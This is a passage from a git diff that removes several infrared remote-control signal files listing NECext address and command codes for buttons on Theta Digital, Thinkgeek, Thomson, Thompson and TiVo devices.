-protocol: NECext -address: AF 00 00 00 -command: E3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: EF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir deleted file mode 100644 index 687aed1fb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 01 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: A-D -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 09 00 00 00 -# -name: TAPE_OUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0A 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0B 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0B 00 00 00 -# -name: BALANCE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0E 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: LEVEL_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: LEVEL_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: ACCY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: REMOTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: LEVEL_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: LEVEL_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: PHASE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: SELECT_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: _ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 -# -name: SELECT_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir deleted file mode 100644 index 4725fba53..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: R1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: G1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: B1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: R2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: G2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: B2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: R3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: G3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: B3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: R4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0A 00 00 00 -# -name: G4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0C 00 00 00 -# -name: R5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0D 00 00 00 -# -name: G5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0E 00 00 00 -# -name: Strobe -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0F 00 00 00 -# -name: Smooth -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: Flash -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 11 00 00 00 -# -name: Fade -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 13 00 00 00 -# -name: Off -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 15 00 00 00 -# -name: B4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 18 00 00 00 -# -name: W1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 19 00 00 00 -# -name: W5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: W3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1C 00 00 00 -# -name: B5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1D 00 00 00 -# -name: W4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: W2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir deleted file mode 100644 index b522800c1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 01 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: THUMBSDOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: THUMBSUP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: JUMPTOEND -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 38 00 00 00 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 39 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 3A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir deleted file mode 100644 index 6a81fc12c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: EMPTY_BUTTON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: _/__ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: WIN+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_ZOOMIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_ZOOMOUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: POINT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: GRAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: WIN_IN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: LINES_WIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: MINIMIZE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir deleted file mode 100644 index 261e7d84c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 12 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 13 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 14 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 16 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: Purple -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2F 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3B 00 00 00 -# -name: Rev -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir deleted file mode 100644 index 1afa47479..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 80 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 84 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 88 00 00 00 -# -name: trackNext -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 8C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 8D 00 00 00 -# -name: trackBack -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 90 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 91 00 00 00 -# -name: soundEffect -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 93 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 94 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 95 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 99 00 00 00 -# -name: presUp -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 9C 00 00 00 -# -name: presDown -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 9D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir deleted file mode 100644 index 3f3b327c7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: btn_blue -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: btn_pink -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: last_prog -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 25 00 00 00 -# -name: freeze -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 26 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: btn_yellow -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 38 00 00 00 -# -name: btn_red -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 39 00 00 00 -# -name: btn_green -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3B 00 00 00 -# -name: KEY_ZOOMIN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3C 00 00 00 -# -name: KEY_ZOOMOUT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3D 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/PVR/26,154.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/PVR/26,154.ir deleted file mode 100644 index 77ab139c9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/PVR/26,154.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 09 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 10 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 11 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1A 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1B 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1C 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1D 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 5E 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 5F 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 60 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 61 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 62 00 00 00 -# -name: TIVO -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/TiVo/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/TiVo/133,48.ir deleted file mode 100644 index 41d06293d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TiVo/TiVo/133,48.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 07 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 13 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: CURSOR_CLICK -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: RECORD_ON/OFF -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: ADVANCE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 